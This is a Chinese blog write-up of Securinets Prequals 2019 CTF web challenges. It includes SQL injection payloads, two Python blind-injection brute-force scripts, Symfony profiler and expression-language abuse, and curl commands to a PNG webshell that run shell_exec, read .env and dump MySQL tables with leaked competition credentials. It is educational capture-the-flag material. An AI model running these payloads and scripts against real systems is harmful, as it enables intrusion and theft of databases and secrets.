Securinets Prequals CTF 2019
custom location
在url后追加/robots.txt
,报错,出现调试页面,仔细观察url,尝试读取文件
https://web0.ctfsecurinets.com/_profiler/open?file=public/index.php
跟入index.php,发现一行require dirname(__DIR__).'/config/bootstrap.php';
于是改payload为file=/config/bootstrap.php
,看到:
<?php
use Symfony\Component\Dotenv\Dotenv;
require dirname(__DIR__).'/vendor/autoload.php';
// Load cached env vars if the .env.local.php file exists
// Run "composer dump-env prod" to create it (requires symfony/flex >=1.2)
if (is_array($env = @include dirname(__DIR__).'/.env.local.php')) {
$_SERVER += $env;
$_ENV += $env;
} elseif (!class_exists(Dotenv::class)) {
throw new RuntimeException('Please run "composer require symfony/dotenv" to load the ".env" files configuring the application.');
} else {
// load all the .env files
(new Dotenv())->loadEnv(dirname(__DIR__).'/secret_ctf_location/env');
}
$_SERVER['APP_ENV'] = $_ENV['APP_ENV'] = ($_SERVER['APP_ENV'] ?? $_ENV['APP_ENV'] ?? null) ?: 'dev';
$_SERVER['APP_DEBUG'] = $_SERVER['APP_DEBUG'] ?? $_ENV['APP_DEBUG'] ?? 'prod' !== $_SERVER['APP_ENV'];
$_SERVER['APP_DEBUG'] = $_ENV['APP_DEBUG'] = (int) $_SERVER['APP_DEBUG'] || filter_var($_SERVER['APP_DEBUG'], FILTER_VALIDATE_BOOLEAN) ? '1' : '0';
看到了/secret_ctf_location/env
,查看该文件,得到flag
# In all environments, the following files are loaded if they exist,
# the later taking precedence over the former:
#
# * .envcontains default values for the environment variables needed by the app
# * .env.local uncommitted file with local overrides
# * .env.$APP_ENV committed environment-specific defaults
# * .env.$APP_ENV.local uncommitted environment-specific overrides
#
# Real environment variables win over .env files.
#
# DO NOT DEFINE PRODUCTION SECRETS IN THIS FILE NOR IN ANY OTHER COMMITTED FILES.
#
# Run "composer dump-env prod" to compile .env files for production use (requires symfony/flex >=1.2).
# https://symfony.com/doc/current/best_practices/configuration.html#infrastructure-related-configuration
###> symfony/framework-bundle ###
APP_ENV=dev
APP_SECRET=44705a2f4fc85d70df5403ac8c7649fd
#TRUSTED_PROXIES=127.0.0.1,127.0.0.2
#TRUSTED_HOSTS='^localhost|example\.com$'
###< symfony/framework-bundle ###
###> doctrine/doctrine-bundle ###
# Format described at http://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
# For an SQLite database, use: "sqlite:///%kernel.project_dir%/var/data.db"
# Configure your db driver and server_version in config/packages/doctrine.yaml
DATABASE_URL=mysql://symfony_admin:Securinets{D4taB4se_P4sSw0Rd_My5qL_St0L3n}@127.0.0.1:3306/symfony_task
###< doctrine/doctrine-bundle ###
###> symfony/swiftmailer-bundle ###
# For Gmail as a transport, use: "gmail://username:password@localhost"
# For a generic SMTP server, use: "smtp://localhost:25?encryption=&auth_mode="
# Delivery is disabled by default via "null://localhost"
MAILER_URL=null://localhost
###< symfony/swiftmailer-bundle ###
方法二
改url为https://web0.ctfsecurinets.com/_profiler
,出现一个控制面板
点击token,进入控制面板,然后查看路由,尝试_profile/phpinfo,但是没什么东西,于是返回控制面版的request/response
,点击Server Parameters
,在DATABASE_URL
字段看到"mysql://symfony_admin:Securinets{D4taB4se_P4sSw0Rd_My5qL_St0L3n}@127.0.0.1:3306/symfony_task"
sql injected
题目给出了源码,查看index.php
if (isset($_POST['post_author'])) {
$sql = "SELECT * FROM posts WHERE author = '". mysqli_real_escape_string($conn, $_POST['post_author']) ."'";
try {
$posts = $conn->query($sql);
} catch(Exception $err) {
echo 'err: '.$err;
}
} else {
$sql = "SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";
try {
$posts = $conn->query($sql);
} catch(Exception $err) {
echo 'err: '.$err;
}
}
这是查询的方式,"SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";
,无过滤,为漏洞点
又查看create_db.sql,字段如下:
create database webn;
create table users (id int auto_increment primary key, login varchar(100), password varchar(100), role boolean default 0);
create table posts (id int auto_increment primary key, title varchar(50), content text, date Date, author varchar(100));
flag的条件为
flags.php:$_SESSION['role'] === '1'
在login.php中:
if (isset($_POST['username']) && !empty($_POST['username']) && isset($_POST['password']) && !empty($_POST['password'])) {
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = "SELECT * FROM users WHERE login='". $username ."' and password='". $password ."'";
$res = $conn->query($sql);
if($res->num_rows > 0) {
$user = $res->fetch_assoc();
$_SESSION['username'] = $user['login'];
$_SESSION['role'] = $user['role'];
header('location: index.php');
die();
} else {
$success = false;
}
}
所以可以构造' UNION SELECT 1, password, login, 4, 5 where role=1 -- asdf
,注册,然后重新以root和得到的密码登录
Beginner’s Luck
源码分析
index.php
function generateRandomToken($length)
{
//generate random token
}
if (!isset($_SESSION['count']))
{
$_SESSION['count'] = 0;
$pass = generateRandomToken(100);
$ip = $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO users (ip, token) VALUES (?,?)";
$stmt = $pdo->prepare($sql);
$stmt->execute([$ip, $pass]);
}
插入ip和随机生成的token
play.php
<?php
$max_count = 10;
if (!isset($_SESSION['count']))
{
echo "<h1>Session Expired ! Please click <a href='start.php'></h1> here</a> ";
die();
}
require_once ("task_bd.php");
$currentValue = '';
if (isset($_POST["val"]))
{
if ($_SESSION['count'] >= $max_count)
{
header("Location:reset.php");
die();
}
$_SESSION['count']++;
try
{
$sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
$result = $conn->query($sql);
if ($result)
{
$row = $result->fetch_assoc();
}
else
{
$row = false;
}
}
catch(PDOException $e)
{
// echo $e;
}
if ($row)
{
echo "<h1>True</h1>";
echo "<div><h4>Click <a href='flag.php'>here</a> and use the token to get your flag</h4></div>";
}
else
{
echo "<h4>Better luck next time !</h4>";
}
$currentValue = $_POST['val'];
}
echo "<h3>Attempt: " . ($_SESSION['count']) . " / " . $max_count . "</h2><br />";
?>
查询对应的token和ip,可知,那就要写script爆破了
脚本1:
import requests
url = "https://web4.ctfsecurinets.com/play.php"
injection = "' OR (ip='teammate IP' AND substring(token,%s,1)='%s') AND '1'='1"
token = ''
for i in range(1, 101):
for b in 'abcdefghijklmnopqrstuvwxyz0123456789':
# Resetting the session and requesting a new one, just in case.
# The exploit would have been faster by removing this.
requests.get(url.replace('play', 'reset'))
s = requests.session()
s.get(url.replace('play', 'index'))
c = s.post(url, data={'val': injection % (i, b)}).content
if b'>True<' in c:
token += b
print(i, token)
break
脚本2:
import time
import random
import os
import string
import requests
token = ""
found = len(token)
letters = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
letter_candidate = 0
payload = "val=' OR (ip='x.x.x.x' AND token LIKE '{}%') #"
headers = {
"User-Agent": "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);",
"Content-Type": "application/x-www-form-urlencoded"
}
url_main = "https://web4.ctfsecurinets.com/"
url_index = url_main + "index.php"
url_play = url_main + "play.php"
url_reset = url_main + "reset.php"
url_start = url_main + "start.php"
global_debug = False
def debug(page, local_debug):
if global_debug and local_debug:
print page.status_code
print page.headers
print page.text
try:
print "[*] Contacting '{}'.".format(url_reset)
page = requests.get(url_reset, headers=headers)
cookies = {"PHPSESSID": page.cookies["PHPSESSID"]}
debug(page, False)
while found < 100:
print "[*] Contacting '{}'.".format(url_index)
page = requests.get(url_index, headers=headers, cookies=cookies)
debug(page, False)
if "Session Expired" in page.text:
print "[*] Session expired, contacting '{}'.".format(url_index)
page = requests.get(url_index, headers=headers, cookies=cookies)
debug(page, False)
elif "Attempt" in page.text:
letter = letters[letter_candidate]
attempt = token + letter
print "[*] Attempt '{}'.".format(attempt)
data = payload.format(attempt)
print "[*] Payload: {}.".format(data)
page = requests.post(url_play, data=data, headers=headers, cookies=cookies)
debug(page, False)
if "True" in page.text:
token += letter
found += 1
letter_candidate = 0
print "[*] Correct letter, new token '{}'.".format(token)
elif "Better luck next time" in page.text:
letter_candidate = letter_candidate + 1
print "[*] Wrong letter."
elif "Max Attempts Reahed" in page.text:
print "[*] Max attempts reached, contacting '{}'.".format(url_index)
page = requests.get(url_index, headers=headers, cookies=cookies)
debug(page, False)
else:
print "[!] Something not working."
break
# Go to sleep.
sleep_interval = 0
print "[*] Sleeping {} secs.".format(sleep_interval)
time.sleep(sleep_interval)
except KeyboardInterrupt:
print "[-] Interrupted!"
Trading values
查看网页源码:
<script>
Highcharts.chart('container', {
chart: {
type: 'spline',
animation: Highcharts.svg, // don't animate in old IE
marginRight: 10,
events: {
load: function () {
// set up the updating of the chart each second
var series = this.series[0];
var formula="KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=";
setInterval(function () {
$.get( "/default", { "formula": formula, "values":{"v1": "STC","v2":"PLA","v3":"SDF","v4":"OCK"} } )
.done(function( data ) {
var x = (new Date()).getTime(), // current time
y = parseInt(data);
if(y<1000)formula="KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=";
else if(y>1000 && y<10000)formula="KHYxLm1way12MS5kcmYqKHYxLm1way8xMDApLXYxLmRyZikvKHYxLmF2ZyowLjMpLSh2Mi5hdmcvKCg0LzMpKnYyLm1kcyt2Mi5kbXEqMTAwKSkrKHYzLnBkaSt2My5wZGkrMy8yKig1KnYzLnJhciktNjkqdjMuZ2RwKSsxLjcqKHY0Lm11bSp2NC5kYWQpKjE2LjUqdjQuYXZn";
else if(y>10000 && y<100000)formula="KHYxLm1way12MS5kcmYqKHYxLm1way8wLjEpLXYxLmRyZikvKHYxLmF2ZyowLjgpLSh2Mi5hdmcvKCgxLzIpKnYyLm1kcy0yNC92Mi5kbXEqMTApKSsodjMucGRpLXYzLnBkaSszLzIqKDIvNSp2My5yYXIpLTY2KnYzLmdkcCkqNy41Lyh2NC5tdW0vdjQuZGFkKSo2LjUvdjQuYXZn";
else formula="KHYxLm1way12MS5kcmYqKHYxLm1way8wLjA2KS12MS5kcmYpLyh2MS5hdmcqMC4yNSkrKHYyLmF2Zy8oKDMvMikvdjIubWRzLTg0L3YyLmRtcSoxOSkpLSh2My5wZGktdjMucGRpKzkvMiooMTIvNyp2My5yYXIpLTY2KnYzLmdkcCkqMC41Lyh2NC5tdW0qKnY0LmRhZCkqMC4zOS92NC5hdmcqKjI=";
series.addPoint([x, y], true, true);
});
}, 1000);
}
}
},
time: {
useUTC: false
},
title: {
text: 'Live Securinets Trading values'
},
xAxis: {
type: 'datetime',
tickPixelInterval: 300
},
yAxis: {
title: {
text: 'Value'
},
plotLines: [{
value: 0,
width: 1,
color: '#808080'
}]
},
tooltip: {
headerFormat: '<b>{series.name}</b><br/>',
pointFormat: '{point.x:%Y-%m-%d %H:%M:%S}<br/>{point.y:.2f}'
},
legend: {
enabled: false
},
exporting: {
enabled: false
},
series: [{
name: 'Random data',
data: (function () {
// generate an array of random data
var data = [],
time = (new Date()).getTime(),
i;
for (i = -19; i <= 0; i += 1) {
data.push({
x: time + i * 1000,
y: Math.random()
});
}
return data;
}())
}]
});
</script>
注意到有三个base64编码:
KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=
KHYxLm1way12MS5kcmYqKHYxLm1way8xMDApLXYxLmRyZikvKHYxLmF2ZyowLjMpLSh2Mi5hdmcvKCg0LzMpKnYyLm1kcyt2Mi5kbXEqMTAwKSkrKHYzLnBkaSt2My5wZGkrMy8yKig1KnYzLnJhciktNjkqdjMuZ2RwKSsxLjcqKHY0Lm11bSp2NC5kYWQpKjE2LjUqdjQuYXZn
KHYxLm1way12MS5kcmYqKHYxLm1way8wLjA2KS12MS5kcmYpLyh2MS5hdmcqMC4yNSkrKHYyLmF2Zy8oKDMvMikvdjIubWRzLTg0L3YyLmRtcSoxOSkpLSh2My5wZGktdjMucGRpKzkvMiooMTIvNyp2My5yYXIpLTY2KnYzLmdkcCkqMC41Lyh2NC5tdW0qKnY0LmRhZCkqMC4zOS92NC5hdmcqKjI=
解码分别为:
(v1.mpk+v1.drf*(v1.mpk/0.5)-v1.drf)/(v1.avg*0.1)+(v2.avg*(v2.mds+v2.dmq))-(v3.pdi+v3.pdi+3/2*(v3.rar)-v3.gdp)+0.25*(v4.mum*v4.dad)*v4.avg
(v1.mpk-v1.drf*(v1.mpk/100)-v1.drf)/(v1.avg*0.3)-(v2.avg/((4/3)*v2.mds+v2.dmq*100))+(v3.pdi+v3.pdi+3/2*(5*v3.rar)-69*v3.gdp)+1.7*(v4.mum*v4.dad)*16.5*v4.avg
(v1.mpk-v1.drf*(v1.mpk/0.06)-v1.drf)/(v1.avg*0.25)+(v2.avg/((3/2)/v2.mds-84/v2.dmq*19))-(v3.pdi-v3.pdi+9/2*(12/7*v3.rar)-66*v3.gdp)*0.5/(v4.mum**v4.dad)*0.39/v4.avg**2
容易知道是图标坐标计算方式
注意到requeset方法:$.get( "/default", { "formula": formula, "values":{"v1": "STC","v2":"PLA","v3":"SDF","v4":"OCK"} } )
所以可以请求:
GET /default?formula=KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=&values[v1]=STC&values[v2]=PLA&values[v3]=SDF&values[v4]=OCK HTTP/1.1
Host: web1.ctfsecurinets.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
得到response:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 29 Mar 2019 16:19:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
Content-Length: 15188698.16666667
formula为一种自定义计算方式,中文意思为公式
所以试着改为2*4(Mio0)<base64>
即formula=Mio0
返回了8
因此应该有一express的解析器( 例:https://github.com/symfony/expression-language)
当formula为任意字符串时,返回错误:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 29 Mar 2019 16:26:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
Content-Length: 84Variable “df” is not valid around position 1 for expression
df
. Did you mean “v1”?
于是试着改为djE=(v1),得到:
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 29 Mar 2019 16:39:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 144object(App\Entity\STC)#233 (4) {
[“id”:”App\Entity\STC”:private]=>
NULL
[“avg”]=>
int(100)
[“mpk”]=>
int(54)
[“drf”]=>
int(3)
}
指向了变量属性,并返回了一些组件,打印出了所有对象
因此,值是定义在classpath中的类的对象,添加新的变量v0
/default?formula=djA=&values[v0]=this&values[v1]=STC&values[v2]=PLA&values[v3]=SDF&values[v4]=OCK
返回了所有环境变量,搜索flag
关键字,最终找到
Unbreakable Uploader
文件上传
图片马
图片马能够解析的条件是
AddHandler application/x-httpd-php .png
AddHandler application/x-httpd-php5 .png
Files ending in .png will not execute php code even if they contain php code. You can however execute this code either through a LFI or by uploading a .htaccess file which will add a php handler for .png or in the case of Apache you could use a double file extansion, ie: phppng.php.phppng.
访问控制列表,尝试添加自定义访问规则
所以还要知道的就是.htaccess文件
要求访问数据库
接下来使用curl协议:
#curl -i -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=id"
#curl -i -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=pwd"
#curl -i -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=ls ../../../ -lA"
#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=cat ../../../.env"
#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost --database symfony_task_3 -e 'show tables'"
#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost -e 'show databases'"
#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost --database big_database -e 'show tables'"
#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e64d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost --database big_database -e 'select * from user_details' | grep Securinets"
reference:https://github.com/mohamedaymenkarmous/CTF/tree/master/CTFSecurinetsQuals2019#unbreakable-uploader
Author: damn1t
Link: http://microvorld.com/2019/03/30/CTF/Securinets Prequals CTF 2019/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.